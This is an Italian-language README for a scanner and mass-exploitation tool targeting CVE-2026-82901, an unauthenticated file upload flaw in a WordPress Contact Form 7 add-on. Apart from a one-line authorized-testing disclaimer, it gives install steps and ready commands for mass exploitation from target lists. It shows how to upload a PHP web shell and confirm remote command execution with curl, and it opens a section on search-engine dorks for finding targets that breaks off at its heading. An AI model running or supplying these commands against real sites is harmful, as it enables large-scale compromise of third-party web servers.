
Scanner e sfruttatore di massa con GUI e CLI per CVE-2026-82901, un caricamento arbitrario di file non autenticato nel plugin WordPress Ultra Addons for Contact Form 7.
Uno scanner e strumento di sfruttamento di massa per CVE-2026-82901 — una vulnerabilità di Caricamento Arbitrario di File Non Autenticato (CWE-434, CVSS 3.1 9.8 Critico) nel plugin WordPress Ultra Addons for Contact Form 7 (Themefic), che interessa le versioni ≤ 3.5.50.
Sono fornite due interfacce:
⚠️ Solo test autorizzati. Vedi Disclaimer.
| Voce | Dettaglio |
|---|---|
| CVE | CVE-2026-82901 |
| Plugin | ultimate-addons-for-contact-form-7 (Ultra Addons for Contact Form 7) |
| Vendor | Themefic |
| Classe | CWE-434 — Caricamento Non Limitato di File con Tipo Pericoloso |
| Versioni interessate | ≤ 3.5.50 |
| Versione corretta | 3.5.51+ |
| CVSS 3.1 | 9.8 Critico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticazione | Non richiesta (non autenticato) |
| Funzione vulnerabile | uacf7_wpcf7_mail_components (il modulo PDF Generator) |
| Vettore | CF7 REST POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback con il campo signature |
| Percorso di scrittura | /wp-content/uploads/uacf7-uploads/ |
| Impatto | Caricamento arbitrario di file → RCE quando PHP viene eseguito all'interno della directory uploads |
| Riferimenti | NVD · CVE.org |
Condizione di sfruttamento: il modulo PDF Generator deve essere abilitato e il form deve contenere un campo uacf7_signature. Questo modulo è disabilitato per impostazione predefinita, quindi non ogni sito che esegue una versione vulnerabile del plugin è effettivamente sfruttabile.
readme.txt--form-url relativo (/contact/) risolto per ogni targetresults.jsonl (dettaglio completo) + hits.txt (target riusciti)git clone https://github.com/tonydelouvre/CVE-2026-82901.git
cd CVE-2026-82901
pip install -r requirements.txt
requirements.txt
requests>=2.31.0
urllib3>=2.0.0
tkinterè incluso in Python. Se manca (Linux):sudo apt install python3-tk.
python gui_82901.py

Flusso di lavoro:
/contact/ (percorso relativo), oppure un URL assoluto.check o exploit.Colori delle righe della tabella:
| Colore | Significato |
|---|---|
| 🟩 Verde | shell_verified — successo, la colonna shell è popolata |
| 🟨 Giallo | vuln_candidate_sig_field — candidato forte |
| 🟥 Rosso | error |
Pulsanti di supporto: ■ Stop (arresto sicuro), Clear log, Open hits, Open output, Export CSV.
# Fingerprint / candidate detection
python mass_82901.py -u https://target.tld --mode check
# Exploit (upload shell + verify)
python mass_82901.py -u https://target.tld --mode exploit \
--form-url https://target.tld/contact/ --shell-name wp_82901.php
# Mass mapping with a uniform form path (relative)
python mass_82901.py -l targets.txt --mode check -j 20 --form-url /contact/
# Mass exploit
python mass_82901.py -l targets.txt --mode exploit -j 10 --form-url /contact/
# Without --form-url -> per-target auto-discovery
python mass_82901.py -l targets.txt --mode exploit -j 10
targets.txt# one URL per line
https://a.tld
# optional second column: a per-target form path/URL
https://b.tld /hubungi-kami/
https://c.tld | https://c.tld/custom-contact/
https://d.tld ; /kontak/
Il secondo separatore di colonna può essere TAB, | o ;. Priorità: override per-target > --form-url globale > rilevamento automatico.
| Argomento | Predefinito | Descrizione |
|---|---|---|
-u, --url | — | URL di base del singolo target |
-l, --list | — | File con la lista dei target |
--mode | check | check o exploit |
--form-url | — | URL assoluto o percorso relativo (/contact/) |
--field | auto | Nome del campo signature |
--shell-name | wp_82901.php | Nome del file caricato |
--verify-url | — | URL della shell se già nota |
-j, --threads | 10 | Numero di worker |
--timeout | 25 | Timeout delle richieste (secondi) |
--proxy | — | Proxy HTTP(S) |
--output | cve_2026_82901_results.jsonl | File dei risultati JSONL |
--vuln-list | hits.txt | File dei target vulnerabili |
-q, --quiet | disattivato | Riduce l'output |
| Stato | Significato |
|---|---|
not_found | Plugin non rilevato |
not_vulnerable | Plugin presente, versione > 3.5.50 (corretta) |
plugin_found_version_unknown | Plugin presente, versione non leggibile |
plugin_ok_no_signature_field | Plugin presente, nessun campo signature → modulo PDF probabilmente disattivato |
vuln_candidate_sig_field | Plugin ≤ 3.5.50 e campo signature presente → candidato forte |
plugin_found_no_form | Plugin presente, nessun form CF7 trovato |
shell_verified | Successo — shell caricata ed eseguita |
exploit_inconclusive | Tentativo di upload effettuato, verifica fallita |
error | Eccezione durante l'elaborazione del target |
exploit_inconclusive?Non significa che il target sia sicuro. Cause probabili:
Usa la modalità check per filtrare i target con vuln_candidate_sig_field, poi esegui un exploit su singolo target con i corretti --field/--shell-name.
Dopo uno stato shell_verified, verifica l'esecuzione:
curl "https://target.tld/wp-content/uploads/uacf7-uploads/wp_82901.php"
# -> POCBIT-82901-OK
curl "https://target.tld/wp-content/uploads/uacf7-uploads/wp_82901.php?c=id"
# -> POCBIT-82901-OK
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Il marker POCBIT-82901-OK è la stringa utilizzata dallo strumento per validare l'esecuzione.
Dork per trovare i target (Google / FOFA / Shodan):